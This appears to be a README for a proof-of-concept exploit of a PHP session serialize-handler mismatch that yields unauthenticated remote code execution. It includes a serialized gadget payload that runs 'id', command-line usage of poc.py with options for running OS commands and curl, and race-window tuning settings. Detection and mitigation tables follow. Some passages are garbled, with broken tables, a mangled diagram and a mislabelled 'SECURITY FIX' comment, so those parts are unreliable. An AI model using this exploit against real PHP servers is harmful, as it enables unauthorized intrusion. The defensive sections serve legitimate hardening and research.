# CVE-2026-115560 -- PHP Session Upload Progress Serialize-Handler Mismatch (Unauthenticated RCE)
[ |
| **Fixed Version** | No patch — official mitigation: `session.upload_progress.enabled=0` |
| **Advisory** | php.net informational advisory 2026-10-23 |
| **CWE** | CWE-502 — Deserialization of Untrusted Data |
| **Auth Required** | **None** (unauthenticated) |
| **Impact** | Unauthenticated Remote Code Execution via PHP object injection |
| **Preconditions** | `session.upload_progress.enabled=1` (PHP default) + application switches serializer at runtime |
CVE-2026-115560 is an unauthenticated Remote Code Execution vulnerability in PHP's session extension, disclosed 2026-10-23 — two days after the PHP2Shell emergency releases (CVE-2026-109618 / CVE-2026-109619). It affects any PHP application where **all three preconditions** hold simultaneously:
1. Server `php.ini` configures `session.serialize_handler = php_binary` or `session.serialize_handler = php_serialize`
2. Application code calls `ini_set('session.serialize_handler', 'php')` before `session_start()`
3. `session.upload_progress.enabled = 1` (the PHP default)
The root cause is a **serialize-handler mismatch**: PHP's session upload progress subsystem runs pre-RINIT (before any application code) and writes the session file using the **server-configured** handler (`php_serialize`). When the application subsequently switches to the `php` handler and calls `session_start()`, it reads back the session file using the `php` deserializer, which splits on the first `|` character and unserializes everything after it.
Since the attacker controls the `PHP_SESSION_UPLOAD_PROGRESS` POST field value — which PHP stores as an **unsanitized array key** in the session file — they can inject a `|` followed by an arbitrary serialized PHP object. The `php` handler deserializes it, triggering `__destruct` / `__wakeup` gadget chains and achieving RCE.
The exploit is a **concurrent two-request attack**: one request trickles a large file upload (keeping the malicious session key alive in the session file), while a second request reads the session, triggering deserialization. With the default `session.upload_progress.cleanup=1`, the race window is kept open for the entire upload duration — achievable in the 13–38 second range with a multi-MB body.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
unserialize(everything after '|') ← attacker-controlled gadget chain
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
php handler splits here and unserializes the rest
## Vulnerable Code (PHP Session Extension)
/* ext/session/session.c -- php_session_rfc1867_callback (PHP |POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
python poc.py -u --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u -c "curl \
--gadget ExecOnDestruct --upload-size 8 -o result.json
python poc.py -u -c "id" --proxy --insecure
| `-u / --url` | Target URL (the endpoint that calls `ini_set` + `session_start`) |
| `-c / --cmd` | OS command to execute via RCE gadget |
| `--gadget` | PHP class name to inject (default: `ExecOnDestruct`) |
| `--upload-size` | Upload body size in MiB to hold race window open (default: 4) |
| `--upload-chunk` | Bytes per chunk / sleep interval to slow upload (default: 16384 / 0.1s) |
| `--threads` | Consumer threads hitting session endpoint (default: 4) |
| `--session-id` | Use specific PHPSESSID (default: auto-generated) |
| `--check-only` | Detect preconditions without triggering exploit |
| `--timeout` | Per-request timeout in seconds (default: 60) |
| `--proxy` | HTTP/HTTPS proxy for all requests |
| `--insecure` | Skip TLS certificate verification |
| `-o / --output` | Save results to JSON |
| Availability | **Critical** -- arbitrary command execution as web server user |
| Confidentiality | **Critical** -- full filesystem read, credential exfiltration |
| Integrity | **Critical** -- webshell drop, pivot to database, container escape |
| Scope | Any PHP app with the ini-switch pattern and default upload_progress config |
| Auth Required | **None** -- fully unauthenticated |
| `php -r "echo ini_get('session.upload_progress.enabled');"` | Returns `1` → potentially vulnerable |
| `grep -r "ini_set.*serialize_handler" /var/www/` | Finds runtime handler switch → confirm precondition 2 |
| `php -r "echo ini_get('session.serialize_handler');"` | Returns `php_serialize` or `php_binary` → precondition 1 |
| Session file inspection | Keys containing `|` characters during upload → active exploitation |
| Access log pattern | Multipart POST to session endpoint + concurrent GET with same PHPSESSID |
All three must hold for a target to be exploitable:
[1] session.upload_progress.enabled = 1 (PHP default — most installs vulnerable)
[2] session.serialize_handler != "php" (server ini uses php_serialize or php_binary)
[3] Application calls ini_set(..., "php") before session_start()
Frameworks/apps known to use the ini-switch pattern: certain Symfony, Laravel, and Yii configurations that call `ini_set('session.serialize_handler', 'php')` for compatibility reasons.
| **Immediate** | Disable upload progress | `session.upload_progress.enabled = 0` in `php.ini` -- official php.net mitigation |
| **High** | Align serializer | Set `session.serialize_handler = php` in server `php.ini` to eliminate the mismatch |
| **High** | Remove ini_set | Audit codebase and remove `ini_set('session.serialize_handler', ...)` calls |
| **Medium** | Input validation | Strip or reject `|` characters in `PHP_SESSION_UPLOAD_PROGRESS` values at WAF/app level |
| **Monitor** | Watch for patch | Track for the official fix release |
## Relationship to PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
| Mechanism | LFI + session file inclusion | Serialize-handler mismatch |
| Patch available | Yes (PHP 8.4.27+) | **No patch** |
| Preconditions | `session.save_path` accessible | Handler mismatch + upload_progress ON |
| Builds fully patched for PHP2Shell affected? | N/A | **Yes** |
This PoC is released for educational and authorized security research purposes only. Do not use against systems you do not own or have explicit written permission to test. The race-condition exploit demonstrated here can cause session corruption and application instability.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
